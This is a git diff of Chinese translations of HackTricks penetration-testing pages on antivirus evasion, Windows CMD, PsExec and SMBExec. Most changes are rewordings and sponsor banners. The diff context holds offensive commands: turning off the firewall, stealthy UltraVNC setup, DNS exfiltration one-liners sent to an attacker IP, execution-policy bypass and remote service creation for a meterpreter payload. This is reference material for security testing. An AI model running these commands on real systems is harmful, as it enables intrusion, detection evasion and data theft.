{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
|
||||||
|
|
||||||
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深度规避的另一场精彩演讲。
|
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于深入规避的另一场精彩演讲。
|
||||||
|
|
||||||
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
|
||||||
|
|
||||||
|
@ -344,8 +350,8 @@ Adding file: /TotallyLegitApp.exe
|
||||||
|
|
||||||
### **检查 Defender 发现的恶意部分**
|
### **检查 Defender 发现的恶意部分**
|
||||||
|
|
||||||
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将 **移除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给你。\
|
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它将 **删除二进制文件的部分**,直到 **找出 Defender** 发现的恶意部分并将其分离给你。\
|
||||||
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它提供了一个开放的网络服务,地址为 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
另一个做 **同样事情的工具是** [**avred**](https://github.com/dobin/avred),它提供了一个开放的网络服务,地址是 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Telnet 服务器**
|
### **Telnet 服务器**
|
||||||
|
|
||||||
|
@ -364,7 +370,7 @@ netsh advfirewall set allprofiles state off
|
||||||
```
|
```
|
||||||
### UltraVNC
|
### UltraVNC
|
||||||
|
|
||||||
从这里下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(你需要的是二进制下载,而不是安装程序)
|
从以下链接下载: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html)(你需要的是二进制下载,而不是安装程序)
|
||||||
|
|
||||||
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
|
**在主机上**: 执行 _**winvnc.exe**_ 并配置服务器:
|
||||||
|
|
||||||
|
@ -380,13 +386,13 @@ netsh advfirewall set allprofiles state off
|
||||||
|
|
||||||
**警告:** 为了保持隐蔽性,你必须避免以下几件事
|
**警告:** 为了保持隐蔽性,你必须避免以下几件事
|
||||||
|
|
||||||
* 如果 `winvnc` 已经在运行,不要再次启动它,否则会触发一个 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
|
* 如果 `winvnc` 已经在运行,不要再次启动它,否则会触发 [弹出窗口](https://i.imgur.com/1SROTTl.png)。使用 `tasklist | findstr winvnc` 检查它是否在运行
|
||||||
* 如果没有 `UltraVNC.ini` 在同一目录中,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
* 如果没有 `UltraVNC.ini` 在同一目录中,不要启动 `winvnc`,否则会导致 [配置窗口](https://i.imgur.com/rfMQWcf.png) 打开
|
||||||
* 不要运行 `winvnc -h` 获取帮助,否则会触发一个 [弹出窗口](https://i.imgur.com/oc18wcu.png)
|
* 不要运行 `winvnc -h` 获取帮助,否则会触发 [弹出窗口](https://i.imgur.com/oc18wcu.png)
|
||||||
|
|
||||||
### GreatSCT
|
### GreatSCT
|
||||||
|
|
||||||
从这里下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
从以下链接下载: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
|
||||||
```
|
```
|
||||||
git clone https://github.com/GreatSCT/GreatSCT.git
|
git clone https://github.com/GreatSCT/GreatSCT.git
|
||||||
cd GreatSCT/setup/
|
cd GreatSCT/setup/
|
||||||
|
@ -394,7 +400,7 @@ cd GreatSCT/setup/
|
||||||
cd ..
|
cd ..
|
||||||
./GreatSCT.py
|
./GreatSCT.py
|
||||||
```
|
```
|
||||||
在 GreatSCT 内部:
|
Inside GreatSCT:
|
||||||
```
|
```
|
||||||
use 1
|
use 1
|
||||||
list #Listing available payloads
|
list #Listing available payloads
|
||||||
|
@ -559,6 +565,12 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!**(_需要流利的波兰语书写和口语能力_)。
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -568,8 +580,8 @@ https://github.com/praetorian-code/vulcan
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,20 +1,28 @@
|
||||||
# Basic Win CMD for Pentesters
|
# Basic Win CMD for Pentesters
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 系统信息
|
## 系统信息
|
||||||
|
|
||||||
### 版本和补丁信息
|
### 版本和补丁信息
|
||||||
|
@ -49,7 +57,7 @@ set #List all environment variables
|
||||||
```bash
|
```bash
|
||||||
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
||||||
```
|
```
|
||||||
### 已挂载的磁盘
|
### 挂载的磁盘
|
||||||
```bash
|
```bash
|
||||||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||||
wmic logicaldisk get caption,description,providername
|
wmic logicaldisk get caption,description,providername
|
||||||
|
@ -351,7 +359,7 @@ sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passi
|
||||||
```
|
```
|
||||||
#### Victim
|
#### Victim
|
||||||
|
|
||||||
**`for /f tokens`** 技术:这使我们能够执行命令,获取每行的前 X 个单词,并通过 DNS 发送到我们的服务器。
|
**`for /f tokens`** 技术:这允许我们执行命令,获取每行的前 X 个单词,并通过 DNS 发送到我们的服务器
|
||||||
```bash
|
```bash
|
||||||
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
|
||||||
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
|
||||||
|
@ -409,17 +417,26 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
|
||||||
# Execute a script stored in an ADS using PowerShell
|
# Execute a script stored in an ADS using PowerShell
|
||||||
powershell -ep bypass - < c:\temp:ttt
|
powershell -ep bypass - < c:\temp:ttt
|
||||||
```
|
```
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,18 +15,22 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## 它们是如何工作的
|
## 它们是如何工作的
|
||||||
|
|
||||||
该过程在以下步骤中概述,说明如何操纵服务二进制文件以通过 SMB 在目标机器上实现远程执行:
|
该过程在以下步骤中概述,说明如何通过 SMB 操纵服务二进制文件以实现对目标机器的远程执行:
|
||||||
|
|
||||||
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
|
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
|
||||||
2. **在远程机器上创建服务**,指向该二进制文件。
|
2. **在远程机器上创建服务**,指向该二进制文件。
|
||||||
3. 服务被 **远程启动**。
|
3. 服务被**远程启动**。
|
||||||
4. 退出时,服务被 **停止,二进制文件被删除**。
|
4. 退出时,服务被**停止,二进制文件被删除**。
|
||||||
|
|
||||||
### **手动执行 PsExec 的过程**
|
### **手动执行 PsExec 的过程**
|
||||||
|
|
||||||
假设有一个可执行有效载荷(使用 msfvenom 创建并使用 Veil 混淆以规避防病毒检测),名为 'met8888.exe',代表一个 meterpreter reverse_http 有效载荷,采取以下步骤:
|
假设有一个可执行有效载荷(使用 msfvenom 创建并使用 Veil 混淆以规避防病毒检测),名为 'met8888.exe',代表一个 meterpreter reverse\_http 有效载荷,采取以下步骤:
|
||||||
|
|
||||||
* **复制二进制文件**:可执行文件从命令提示符复制到 ADMIN$ 共享,尽管它可以放置在文件系统的任何位置以保持隐蔽。
|
* **复制二进制文件**:可执行文件从命令提示符复制到 ADMIN$ 共享,尽管它可以放置在文件系统的任何位置以保持隐蔽。
|
||||||
* **创建服务**:利用 Windows `sc` 命令,该命令允许远程查询、创建和删除 Windows 服务,创建一个名为 "meterpreter" 的服务,指向上传的二进制文件。
|
* **创建服务**:利用 Windows `sc` 命令,该命令允许远程查询、创建和删除 Windows 服务,创建一个名为 "meterpreter" 的服务,指向上传的二进制文件。
|
||||||
|
@ -42,7 +46,7 @@
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (928).png>)
|
![](<../../.gitbook/assets/image (928).png>)
|
||||||
|
|
||||||
您还可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
您还可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```
|
```
|
||||||
|
@ -50,9 +54,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -9,12 +9,20 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## 工作原理
|
## 工作原理
|
||||||
|
|
||||||
**Smbexec** 是一个用于在 Windows 系统上进行远程命令执行的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
|
**Smbexec** 是一个用于在 Windows 系统上进行远程命令执行的工具,类似于 **Psexec**,但它避免在目标系统上放置任何恶意文件。
|
||||||
|
@ -22,7 +30,7 @@
|
||||||
### 关于 **SMBExec** 的关键点
|
### 关于 **SMBExec** 的关键点
|
||||||
|
|
||||||
- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来执行命令,通过 cmd.exe (%COMSPEC%),而不放置任何二进制文件。
|
- 它通过在目标机器上创建一个临时服务(例如,“BTOBTO”)来执行命令,通过 cmd.exe (%COMSPEC%),而不放置任何二进制文件。
|
||||||
- 尽管采用隐蔽的方法,但它确实为每个执行的命令生成事件日志,提供了一种非交互式的“shell”形式。
|
- 尽管采用隐蔽的方法,但它确实为每个执行的命令生成事件日志,提供了一种非交互式的“shell”。
|
||||||
- 使用 **Smbexec** 连接的命令如下:
|
- 使用 **Smbexec** 连接的命令如下:
|
||||||
```bash
|
```bash
|
||||||
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||||
|
@ -45,17 +53,25 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
||||||
## References
|
## References
|
||||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用程序、网络和云
|
||||||
|
|
||||||
|
**发现并报告对业务有重大影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# PsExec/Winexec/ScExec
|
# PsExec/Winexec/ScExec
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,9 +15,16 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
|
||||||
|
今天就获取访问权限:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||||
|
|
||||||
## 它们是如何工作的
|
## 它们是如何工作的
|
||||||
|
|
||||||
该过程在以下步骤中概述,说明如何操纵服务二进制文件以通过 SMB 在目标机器上实现远程执行:
|
该过程在以下步骤中概述,说明如何操纵服务二进制文件以通过 SMB 实现对目标机器的远程执行:
|
||||||
|
|
||||||
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
|
1. **通过 SMB 复制服务二进制文件到 ADMIN$ 共享**。
|
||||||
2. **在远程机器上创建服务**,指向该二进制文件。
|
2. **在远程机器上创建服务**,指向该二进制文件。
|
||||||
|
@ -44,7 +51,7 @@
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (165).png>)
|
![](<../../.gitbook/assets/image (165).png>)
|
||||||
|
|
||||||
您还可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
您还可以使用 [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```
|
```
|
||||||
|
@ -52,17 +59,24 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
||||||
|
今天就获取访问权限:
|
||||||
|
|
||||||
|
